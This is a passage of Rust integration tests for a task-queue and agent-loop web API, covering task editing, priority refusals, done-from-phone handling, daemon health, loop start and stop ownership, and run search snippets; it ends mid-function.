15820 assert_eq!(saved.implementers(), Some(usize::from(count)));
15821 assert_eq!(saved.runs, t.runs);
15822 assert_eq!(saved.instruction, t.instruction);
15823 }
15824 for count in [0, 4] {
15825 assert_eq!(
15826 change(count).await.err().unwrap().status,
15827 StatusCode::BAD_REQUEST
15828 );
15829 }
15830 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
15831 let claim = q.claim(&t.id).unwrap();
15832 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
15833 drop(claim);
15834 for status in [
15835 TaskStatus::Running,
15836 TaskStatus::Done,
15837 TaskStatus::Failed,
15838 TaskStatus::Blocked,
15839 TaskStatus::Parked,
15840 ] {
15841 let mut stored = q.get(&t.id).unwrap();
15842 stored.status = status;
15843 q.put(&mut stored).unwrap();
15844 assert_eq!(
15845 change(1).await.err().unwrap().status,
15846 StatusCode::BAD_REQUEST
15847 );
15848 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
15849 }
15850 }
15851
15852 #[tokio::test]
15853 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
15854 let f = Fixture::start().await;
15855 let queue = f.queue();
15856 let mut task = Task::new(
15857 "in flight".to_owned(),
15858 "x".to_owned(),
15859 PathBuf::from("/repo/magi"),
15860 Source::Human,
15861 );
15862 task.start("20260902-140502-bbbb".to_owned());
15863 queue.put(&mut task).expect("file the task");
15864
15865 let res = f
15866 .post(
15867 &format!("/api/queue/{}/priority", task.id),
15868 Some(r#"{"priority":9}"#),
15869 )
15870 .await;
15871 assert_eq!(res.status, 400, "{}", res.body);
15872 assert!(
15873 res.json()["error"]
15874 .as_str()
15875 .is_some_and(|e| e.contains("running")),
15876 "{}",
15877 res.body
15878 );
15879 assert_eq!(
15880 queue.get(&task.id).expect("reload").priority,
15881 0,
15882 "the refused write must not partially apply"
15883 );
15884 }
15885
15886 #[tokio::test]
15887 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
15888 let f = Fixture::start().await;
15889 let queue = f.queue();
15890 let mut task = Task::new(
15891 "old title".to_owned(),
15892 "old instruction".to_owned(),
15893 PathBuf::from("/repo/magi"),
15894 Source::Agent {
15895 run: "20260101-000000-beef".to_owned(),
15896 node: "implement".to_owned(),
15897 },
15898 );
15899 task.runs.push("20260101-000000-beef".to_owned());
15900 queue.put(&mut task).expect("file the task");
15901 let created_at = task.created_at;
15902
15903 let edited = f
15904 .post(
15905 &format!("/api/queue/{}/edit", task.id),
15906 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
15907 )
15908 .await;
15909 assert_eq!(edited.status, 200, "{}", edited.body);
15910 let body = edited.json();
15911 assert_eq!(body["title"], "new title");
15912 assert_eq!(body["instruction"], "new instruction");
15913 assert_eq!(body["id"], task.id, "editing must not mint a new id");
15914 assert_eq!(body["created_at"], created_at.to_string());
15915 assert_eq!(
15916 body["source"]["kind"], "agent",
15917 "editing a task an agent filed must not turn it human: {body}"
15918 );
15919 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
15920
15921 let reloaded = queue.get(&task.id).expect("reload");
15922 assert_eq!(reloaded.title, "new title");
15923 assert_eq!(reloaded.instruction, "new instruction");
15924 }
15925
15926 #[tokio::test]
15927 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
15928 let tmp = TempDir::new().expect("tempdir");
15931 let repo = tmp.path().join("repo");
15932 std::fs::create_dir_all(&repo).expect("repo dir");
15933 let judge = MOCK_AGENT_TOML.replace(
15934 "printf ok",
15935 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
15936 );
15937 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
15938 let f = Fixture::with_repo(repo.clone()).await;
15939 let queue = f.queue();
15940 let mut owner = Task::new(
15941 "owner".to_owned(),
15942 "review it".to_owned(),
15943 repo.clone(),
15944 Source::Human,
15945 );
15946 owner.review_branch = Some("magi/ab12/A".to_owned());
15947 queue.put(&mut owner).expect("file the owner");
15948 let mut task = Task::new(
15949 "draft".to_owned(),
15950 "old".to_owned(),
15951 repo.clone(),
15952 Source::Human,
15953 );
15954 queue.put(&mut task).expect("file the draft");
15955 let url = format!("/api/queue/{}/edit", task.id);
15956
15957 let refused = f
15958 .post(
15959 &url,
15960 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
15961 )
15962 .await;
15963 assert_eq!(refused.status, 409, "{}", refused.body);
15964 let msg = refused.json()["error"]
15965 .as_str()
15966 .unwrap_or_default()
15967 .to_owned();
15968 assert!(
15969 msg.contains("magi/ab12/A") && msg.contains("force"),
15970 "{msg}"
15971 );
15972 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
15973
15974 let forced = f
15975 .post(
15976 &url,
15977 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
15978 )
15979 .await;
15980 assert_eq!(forced.status, 200, "{}", forced.body);
15981 }
15982
15983 #[tokio::test]
15984 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
15985 let f = Fixture::start().await;
15986 let queue = f.queue();
15987 let mut task = Task::new(
15988 "in flight".to_owned(),
15989 "do not touch".to_owned(),
15990 PathBuf::from("/repo/magi"),
15991 Source::Human,
15992 );
15993 task.start("20260902-140502-bbbb".to_owned());
15994 queue.put(&mut task).expect("file the task");
15995
15996 let res = f
15997 .post(
15998 &format!("/api/queue/{}/edit", task.id),
15999 Some(r#"{"title":"x","instruction":"y"}"#),
16000 )
16001 .await;
16002 assert_eq!(res.status, 400, "{}", res.body);
16003 assert!(
16004 res.json()["error"]
16005 .as_str()
16006 .is_some_and(|e| e.contains("running")),
16007 "{}",
16008 res.body
16009 );
16010 assert_eq!(
16011 queue.get(&task.id).expect("reload").instruction,
16012 "do not touch",
16013 "the refused edit must not change the file"
16014 );
16015 }
16016
16017 #[tokio::test]
16018 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
16019 let f = Fixture::start().await;
16020 let queue = f.queue();
16021 let mut task = Task::new(
16022 "busy".to_owned(),
16023 "Running right now".to_owned(),
16024 PathBuf::from("/repo/magi"),
16025 Source::Human,
16026 );
16027 queue.put(&mut task).expect("file the task");
16028 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16029
16030 let priority = f
16031 .post(
16032 &format!("/api/queue/{}/priority", task.id),
16033 Some(r#"{"priority":9}"#),
16034 )
16035 .await;
16036 assert_eq!(priority.status, 409, "{}", priority.body);
16037
16038 let edit = f
16039 .post(
16040 &format!("/api/queue/{}/edit", task.id),
16041 Some(r#"{"title":"x","instruction":"y"}"#),
16042 )
16043 .await;
16044 assert_eq!(edit.status, 409, "{}", edit.body);
16045 }
16046
16047 #[tokio::test]
16048 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
16049 let f = Fixture::start().await;
16050 let queue = f.queue();
16051 let mut task = Task::new(
16052 "shipped by hand".to_owned(),
16053 "merged outside the loop".to_owned(),
16054 PathBuf::from("/repo/magi"),
16055 Source::Agent {
16056 run: "20260101-000000-b455".to_owned(),
16057 node: "implement".to_owned(),
16058 },
16059 );
16060 task.runs.push("20260101-000000-b455".to_owned());
16061 task.runs.push("20260101-000000-9af4".to_owned());
16062 queue.put(&mut task).expect("file the task");
16063 let created_at = task.created_at;
16064
16065 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16066 assert_eq!(done.status, 200, "{}", done.body);
16067 assert_eq!(done.json()["status_str"], "done");
16068
16069 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
16070 assert_eq!(
16071 reloaded.runs,
16072 ["20260101-000000-b455", "20260101-000000-9af4"]
16073 );
16074 assert_eq!(
16075 reloaded.source,
16076 Source::Agent {
16077 run: "20260101-000000-b455".to_owned(),
16078 node: "implement".to_owned(),
16079 }
16080 );
16081 assert_eq!(reloaded.created_at, created_at);
16082 }
16083
16084 #[tokio::test]
16085 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
16086 let f = Fixture::start().await;
16091 let queue = f.queue();
16092 let mut task = Task::new(
16093 "landed while held".to_owned(),
16094 "x".to_owned(),
16095 PathBuf::from("/repo/magi"),
16096 Source::Human,
16097 );
16098 task.hold_manual(Some("waiting on 3ed9".to_owned()));
16099 queue.put(&mut task).expect("file the held task");
16100
16101 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16102 assert_eq!(done.status, 200, "{}", done.body);
16103 assert_eq!(done.json()["status_str"], "done");
16104 assert!(
16105 done.json()["hold_reason"].is_null(),
16106 "a done task cannot still be waiting on something: {}",
16107 done.body
16108 );
16109 }
16110
16111 #[tokio::test]
16112 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
16113 let f = Fixture::start().await;
16118 let queue = f.queue();
16119 let runs = f.runs();
16120 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
16121 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
16125
16126 let mut task = Task::new(
16127 "landed by hand".to_owned(),
16128 "x".to_owned(),
16129 PathBuf::from("/repo/magi"),
16130 Source::Human,
16131 );
16132 task.runs.push("20260101-000000-doa1".to_owned());
16133 task.runs.push("20260101-000000-doa2".to_owned());
16134 queue.put(&mut task).expect("file the task");
16135
16136 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16137 assert_eq!(done.status, 200, "{}", done.body);
16138
16139 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
16140 .expect("run still on disk under this fixture's own home");
16141 assert_eq!(
16142 reloaded_run.status,
16143 RunStatus::Superseded,
16144 "closing the task by hand must relabel the earlier blocked attempt exactly \
16145 like the loop's own settle path does"
16146 );
16147 }
16148
16149 #[tokio::test]
16150 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
16151 let f = Fixture::start().await;
16156 let queue = f.queue();
16157 let runs = f.runs();
16158 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
16159 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
16160
16161 let mut task = Task::new(
16162 "closed with nothing actually landed".to_owned(),
16163 "x".to_owned(),
16164 PathBuf::from("/repo/magi"),
16165 Source::Human,
16166 );
16167 task.runs.push("20260101-000000-dob1".to_owned());
16168 task.runs.push("20260101-000000-dob2".to_owned());
16169 queue.put(&mut task).expect("file the task");
16170
16171 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
16172 assert_eq!(done.status, 200, "{}", done.body);
16173
16174 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
16175 .expect("run still on disk under this fixture's own home");
16176 assert_eq!(
16177 reloaded_run.status,
16178 RunStatus::Blocked,
16179 "the last recorded attempt never landed, so the earlier one must not be \
16180 relabelled as superseded by it"
16181 );
16182 }
16183
16184 #[tokio::test]
16185 async fn unknown_ids_are_json_not_found_on_both_stores() {
16186 let f = Fixture::start().await;
16187
16188 let run = f.get("/api/runs/nosuchrun").await;
16189 let task = f.post("/api/queue/nosuchtask/hold", None).await;
16190
16191 assert_eq!(run.status, 404);
16192 assert_eq!(task.status, 404);
16193 assert!(
16194 run.json()["error"]
16195 .as_str()
16196 .is_some_and(|e| e.contains("run")),
16197 "the error names what was not found: {}",
16198 run.body
16199 );
16200 assert!(
16201 task.json()["error"]
16202 .as_str()
16203 .is_some_and(|e| e.contains("task")),
16204 "the error names what was not found: {}",
16205 task.body
16206 );
16207 }
16208
16209 #[tokio::test]
16210 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
16211 let f = Fixture::start().await;
16212
16213 let missing = f.get("/api/health").await.json();
16214 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
16215
16216 write_daemon(
16217 f.home.path(),
16218 Timestamp::now() - jiff::SignedDuration::from_secs(60),
16219 );
16220 let stale = f.get("/api/health").await.json();
16221 assert_eq!(
16222 stale["daemon"]["running"], false,
16223 "a minute without a heartbeat is a dead daemon, not a busy one"
16224 );
16225 assert!(
16226 stale["daemon"]["stale_for_secs"]
16227 .as_i64()
16228 .is_some_and(|s| s >= 55),
16229 "staleness is reported so the UI can say how long: {stale}"
16230 );
16231
16232 write_daemon(f.home.path(), Timestamp::now());
16233 let fresh = f.get("/api/health").await.json();
16234 assert_eq!(fresh["daemon"]["running"], true);
16235 assert_eq!(fresh["daemon"]["idle"], false);
16236 assert_eq!(fresh["daemon"]["pid"], 4242);
16237 assert_eq!(fresh["daemon"]["completed"], 7);
16238 assert_eq!(
16239 fresh["daemon"]["current"][0]["task"],
16240 "20260902-140501-aaaa"
16241 );
16242 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
16243 }
16244
16245 #[tokio::test]
16246 async fn the_loop_is_not_running_until_something_starts_it() {
16247 let f = Fixture::start().await;
16248
16249 let view = f.get("/api/loop").await.json();
16250 assert_eq!(view["running"], false);
16251 assert_eq!(
16252 view["owned"], false,
16253 "nobody owns a loop that does not exist: {view}"
16254 );
16255 assert_eq!(view["stopping"], false);
16256 assert_eq!(view["last_error"], Value::Null);
16257 assert_eq!(view["daemon"]["running"], false);
16258 assert_eq!(
16259 view["repo"], "/repo/magi",
16260 "the repository a start would use, named before it is started"
16261 );
16262 }
16263
16264 #[tokio::test]
16265 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
16266 let f = Fixture::start().await;
16267
16268 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16269 assert_eq!(res.status, 200, "{}", res.body);
16270 let view = res.json();
16271 assert_eq!(view["running"], true);
16272 assert_eq!(
16273 view["owned"], true,
16274 "the loop the UI started is the UI's own to stop: {view}"
16275 );
16276 assert_eq!(
16277 view["merge"],
16278 Value::Null,
16279 "no override was given, so each repository's own config decides"
16280 );
16281
16282 let health = f.get("/api/health").await.json();
16286 assert_eq!(health["loop"]["running"], true, "{health}");
16287 assert_eq!(health["loop"]["owned"], true, "{health}");
16288
16289 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16290 }
16291
16292 #[tokio::test]
16293 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
16294 let f = Fixture::start().await;
16295 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16296 assert_eq!(first.status, 200, "{}", first.body);
16297
16298 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16299 assert_eq!(
16300 again.status, 409,
16301 "two loops on one queue race for the same claims: {}",
16302 again.body
16303 );
16304 assert!(
16305 again.json()["error"]
16306 .as_str()
16307 .is_some_and(|e| e.contains("already running the loop")),
16308 "the refusal has to say why: {}",
16309 again.body
16310 );
16311 assert_eq!(
16312 f.get("/api/loop").await.json()["running"],
16313 true,
16314 "and the loop that was already running is untouched by it"
16315 );
16316
16317 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16318 }
16319
16320 #[tokio::test]
16321 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
16322 let f = Fixture::start().await;
16323 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16324
16325 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16326 assert_eq!(
16327 res.status, 200,
16328 "the answer must not wait for the loop: a run in flight is tens of \
16329 minutes and the operator is holding a phone: {}",
16330 res.body
16331 );
16332
16333 let view = settled(&f, |v| v["running"] == false).await;
16334 assert_eq!(view["owned"], false);
16335 assert_eq!(
16336 view["stopping"], false,
16337 "a loop that has stopped is not still stopping: {view}"
16338 );
16339 assert_eq!(
16340 view["last_error"],
16341 Value::Null,
16342 "a loop that was asked to stop did not fail: {view}"
16343 );
16344
16345 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16348 assert_eq!(twice.status, 200, "{}", twice.body);
16349 }
16350
16351 #[tokio::test]
16352 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
16353 let f = Fixture::start().await;
16354 write_daemon(f.home.path(), Timestamp::now());
16357
16358 let view = f.get("/api/loop").await.json();
16359 assert_eq!(view["running"], false, "not in this process: {view}");
16360 assert_eq!(view["owned"], false, "and not this process's to control");
16361 assert_eq!(
16362 view["daemon"]["running"], true,
16363 "but a loop is alive somewhere, which is what the UI must say"
16364 );
16365 assert_eq!(view["daemon"]["pid"], 4242);
16366
16367 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
16368 let res = f.post("/api/loop", Some(body)).await;
16369 assert_eq!(
16370 res.status, 409,
16371 "neither button may pretend to work on someone else's loop: {}",
16372 res.body
16373 );
16374 assert!(
16375 res.json()["error"]
16376 .as_str()
16377 .is_some_and(|e| e.contains("4242")),
16378 "the refusal has to name the process the operator must go to: {}",
16379 res.body
16380 );
16381 }
16382 assert_eq!(
16383 f.get("/api/loop").await.json()["running"],
16384 false,
16385 "and the refusal started nothing"
16386 );
16387 }
16388
16389 #[tokio::test]
16390 async fn a_stale_status_file_is_not_a_foreign_owner() {
16391 let f = Fixture::start().await;
16392 write_daemon(
16393 f.home.path(),
16394 Timestamp::now() - jiff::SignedDuration::from_secs(60),
16395 );
16396
16397 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16398 assert_eq!(
16399 res.status, 200,
16400 "a daemon killed a minute ago must not lock the loop out of its \
16401 own home for good: {}",
16402 res.body
16403 );
16404 assert_eq!(res.json()["running"], true);
16405
16406 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16407 }
16408
16409 #[tokio::test]
16410 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
16411 let f = Fixture::start().await;
16412 let before = f.get("/api/health").await.json()["loop_rev"]
16413 .as_u64()
16414 .expect("a loop revision");
16415
16416 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16417
16418 let after = f.get("/api/health").await.json()["loop_rev"]
16419 .as_u64()
16420 .expect("a loop revision");
16421 assert!(
16422 after > before,
16423 "the loop is in-process state, so this counter is the only thing \
16424 that tells a second device the first one started it: {before} -> \
16425 {after}"
16426 );
16427
16428 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
16429 }
16430
16431 #[tokio::test]
16432 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
16433 let f = Fixture::with_loop(launch_broken).await;
16434
16435 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16436 assert_eq!(
16437 res.status, 200,
16438 "starting it is not the failure: {}",
16439 res.body
16440 );
16441
16442 let view = settled(&f, |v| v["last_error"].is_string()).await;
16443 assert_eq!(
16444 view["running"], false,
16445 "a loop that died must not read as running, or the operator has \
16446 nothing to press: {view}"
16447 );
16448 assert_eq!(view["owned"], false);
16449 assert!(
16450 view["last_error"]
16451 .as_str()
16452 .is_some_and(|e| e.contains("read-only file system")),
16453 "the phone is where a loop that died at 3am is visible: {view}"
16454 );
16455
16456 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
16459 assert_eq!(again.status, 200, "{}", again.body);
16460 assert!(
16461 again.json()["last_error"]
16462 .as_str()
16463 .is_none_or(|e| !e.contains("read-only file system")),
16464 "a fresh start does not keep showing why the last one died: {}",
16465 again.body
16466 );
16467 }
16468
16469 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
16481 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
16482 let home = TempDir::new().expect("temp home");
16483 let runs = home.path().join("runs");
16484 std::fs::create_dir_all(&runs).expect("runs dir");
16485 let ui = Ui::new(
16486 Queue::at(home.path().join("queue")),
16487 Questions::at(home.path().join("questions")),
16488 Talks::at(home.path().join("talks")),
16489 runs,
16490 home.path().to_path_buf(),
16491 PathBuf::from("/repo/magi"),
16492 )
16493 .with_worktrees_root(home.path().join("wt"))
16494 .with_launch(launch_knocking_on_the_way_out);
16495 let looping = ui.looping();
16496 let turns = ui.turns();
16497 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
16498 .await
16499 .expect("bind loopback");
16500 let addr = listener.local_addr().expect("local addr");
16501 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
16502 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
16503
16504 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
16505 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
16506
16507 let bound = std::sync::Mutex::new(None);
16522 hand_over(
16523 home.path(),
16524 &looping,
16525 &turns,
16526 &|_: &[String]| Duration::from_secs(5),
16527 served,
16528 |_| {
16529 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
16530 let attempt = loop {
16531 match std::net::TcpListener::bind(addr) {
16532 Ok(l) => {
16533 drop(l);
16534 break Ok(());
16535 }
16536 Err(e)
16537 if e.kind() == std::io::ErrorKind::AddrInUse
16538 && std::time::Instant::now() < deadline =>
16539 {
16540 std::thread::sleep(std::time::Duration::from_millis(10));
16541 }
16542 Err(e) => break Err(e.to_string()),
16543 }
16544 };
16545 *bound.lock().expect("bound") = Some(attempt);
16546 Ok(1)
16547 },
16548 )
16549 .await
16550 .expect("hand over");
16551
16552 assert_eq!(
16553 *PARK_HEARD.lock().expect("park heard"),
16554 Some(200),
16555 "the deck must answer while the loop is parking"
16556 );
16557 let attempt = bound
16558 .lock()
16559 .expect("bound")
16560 .take()
16561 .expect("the successor was started");
16562 assert!(
16563 attempt.is_ok(),
16564 "and the address must be free by the time it is: {attempt:?}"
16565 );
16566 }
16567
16568 #[tokio::test]
16569 async fn a_newer_daemon_status_file_still_renders() {
16570 let f = Fixture::start().await;
16571 std::fs::write(
16574 f.home.path().join("daemon.json"),
16575 serde_json::json!({
16576 "schema": 2,
16577 "updated_at": Timestamp::now().to_string(),
16578 "idle": true,
16579 "surprise": { "nested": [1, 2, 3] },
16580 })
16581 .to_string(),
16582 )
16583 .expect("write daemon.json");
16584
16585 let health = f.get("/api/health").await;
16586
16587 assert_eq!(health.status, 200);
16588 assert_eq!(health.json()["daemon"]["running"], true);
16589 }
16590
16591 #[tokio::test]
16592 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16593 let f = Fixture::start().await;
16594 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16595 let broken = f.runs().join("20260902-140502-bad");
16596 std::fs::create_dir_all(&broken).expect("run dir");
16597 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16598
16599 let list = f.get("/api/runs").await;
16600 let detail = f.get("/api/runs/20260902-140502-bad").await;
16601
16602 assert_eq!(list.status, 200);
16603 let listed = list.json();
16604 let ids: Vec<&str> = listed
16605 .as_array()
16606 .expect("an array")
16607 .iter()
16608 .map(|r| r["id"].as_str().expect("an id"))
16609 .collect();
16610 assert_eq!(
16611 ids,
16612 vec!["20260902-140501-good"],
16613 "one unreadable run must not cost the operator the whole history"
16614 );
16615 assert_eq!(detail.status, 500);
16616 assert!(
16617 detail.json()["error"]
16618 .as_str()
16619 .is_some_and(|e| e.contains("run.json")),
16620 "the failure names the file to look at: {}",
16621 detail.body
16622 );
16623 let health = f.get("/api/health").await;
16627 assert_eq!(health.json()["runs_unreadable"], 1);
16628 }
16629
16630 #[tokio::test]
16632 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16633 let f = Fixture::start().await;
16634 let runs = f.runs();
16635 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16636 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16637 let path = runs.join("20260902-140502-bbbb").join("run.json");
16640 let mut v: serde_json::Value =
16641 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16642 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16643 std::fs::write(&path, v.to_string()).unwrap();
16644 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16645 std::fs::write(
16646 runs.join("20260902-140503-cccc").join("run.json"),
16647 "{ not json",
16648 )
16649 .unwrap();
16650
16651 let res = f.get("/api/search?scope=runs&q=quokka").await;
16652 assert_eq!(res.status, 200, "{}", res.body);
16653 let v = res.json();
16654 assert_eq!(v["total"], 1, "{v}");
16655 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16656 assert_eq!(v["hits"][0]["field"], "text");
16657 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16658 let parts = v["hits"][0]["snippet"].as_array().unwrap();
16659 assert!(
16660 parts
16661 .iter()
16662 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16663 "{v}"
16664 );
16665 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16666 assert_eq!(
16667 flat, "The Quokka leaks across threads",
16668 "whitespace is collapsed"
16669 );
16670
16671 let both = f
16673 .get("/api/search?scope=runs&q=MOBILE%20quokka")
16674 .await
16675 .json();
16676 assert_eq!(both["total"], 1, "{both}");
16677 let neither = f
16678 .get("/api/search?scope=runs&q=quokka%20zebra")
16679 .await
16680 .json();
16681 assert_eq!(neither["total"], 0, "{neither}");
16682 let stmt = f
16684 .get("/api/search?scope=runs&q=mobile%20first")
16685 .await
16686 .json();
16687 assert_eq!(stmt["total"], 2, "{stmt}");
16688 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16689 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16690 }
16691
16692 #[test]
16693 fn snippet_ignores_terms_longer_than_the_field() {
16694 let terms = ["ok".to_owned(), "elephant".to_owned()];
16695 let parts = snippet_of("ok", &terms);
16696 assert_eq!(
16697 parts,
16698 vec![SnippetPart {
16699 text: "ok".to_owned(),
16700 hit: true
16701 }]
16702 );
16703 }
16704
16705 #[test]
16706 fn snippet_marks_matches_longer_than_the_window() {
16707 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16708 let hit_len = |parts: &[SnippetPart]| -> usize {
16709 parts
16710 .iter()
16711 .filter(|p| p.hit)
16712 .map(|p| p.text.chars().count())
16713 .sum()
16714 };
16715 let total =
16716 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16717
16718 let long = "a".repeat(120);
16719 let parts = snippet_of(&long, std::slice::from_ref(&long));
16720 assert!(hit_len(&parts) > 0, "{parts:?}");
16721 assert!(total(&parts) <= cap);
16722
16723 let ja = "あ".repeat(130);
16724 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16725 assert!(hit_len(&parts) > 0, "{parts:?}");
16726 assert!(total(&parts) <= cap);
16727
16728 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16730 let term = format!("ab{}", "c".repeat(100));
16731 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16732 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16733 assert!(total(&parts) <= cap);
16734
16735 let text = format!("{}z", "a".repeat(119));
16737 let parts = snippet_of(&text, &["a".repeat(120)]);
16738 assert_eq!(hit_len(&parts), 0, "{parts:?}");
16739 }
16740
16741 #[tokio::test]
16742 async fn search_caps_hits_and_snippet_length() {
16743 let f = Fixture::start().await;
16744 let runs = f.runs();
16745 for n in 0..(SEARCH_MAX_HITS + 5) {
16746 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16747 }
16748 let v = f.get("/api/search?scope=runs&q=web").await.json();
16749 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16750 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16751 assert_eq!(v["truncated"], true);
16752 assert!(
16754 v["hits"]
16755 .as_array()
16756 .unwrap()
16757 .iter()
16758 .all(|h| h["run"]["status"] == "merged")
16759 );
16760
16761 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16762 let parts = snippet_of(&long, &["needle".to_owned()]);
16763 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16764 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16765 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16766 }
16767
16768 #[tokio::test]
16769 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16770 let f = Fixture::start().await;
16771 let queue = f.queue();
16772 let mut t = Task::new(
16773 "short title".to_owned(),
16774 "line one\nthe hidden Armadillo detail".to_owned(),
16775 PathBuf::from("/repo/magi"),
16776 Source::Agent {
16777 run: "r1".to_owned(),
16778 node: "chat".to_owned(),
16779 },
16780 );
16781 t.last_error = Some("disk full on /tmp".to_owned());
16782 queue.put(&mut t).expect("file the task");
16783
16784 for (q, want) in [
16785 ("armadillo", 1),
16786 ("disk%20FULL", 1),
16787 ("chat", 1),
16788 ("queued", 1),
16789 ("short%20nothing", 0),
16790 ] {
16791 let v = f
16792 .get(&format!("/api/search?scope=tasks&q={q}"))
16793 .await
16794 .json();
16795 assert_eq!(v["total"], want, "{q}: {v}");
16796 }
16797 for bad in [
16798 "/api/search?scope=tasks&q=",
16799 "/api/search?scope=tasks&q=%20",
16800 "/api/search?scope=chats&q=",
16801 "/api/search?scope=chats&q=%20",
16802 "/api/search?scope=nope&q=a",
16803 "/api/search?q=a",
16804 ] {
16805 assert_eq!(f.get(bad).await.status, 400, "{bad}");
16806 }
16807 }
16808
16809 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16811 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16812 .expect("seat value");
16813 let turns: Vec<serde_json::Value> = turns
16814 .iter()
16815 .map(|(who, body)| {
16816 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16817 })
16818 .collect();
16819 let doc = serde_json::json!({
16820 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16821 "status": status, "turns": turns,
16822 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16823 "seat": seat,
16824 });
16825 let dir = f.home.path().join("talks");
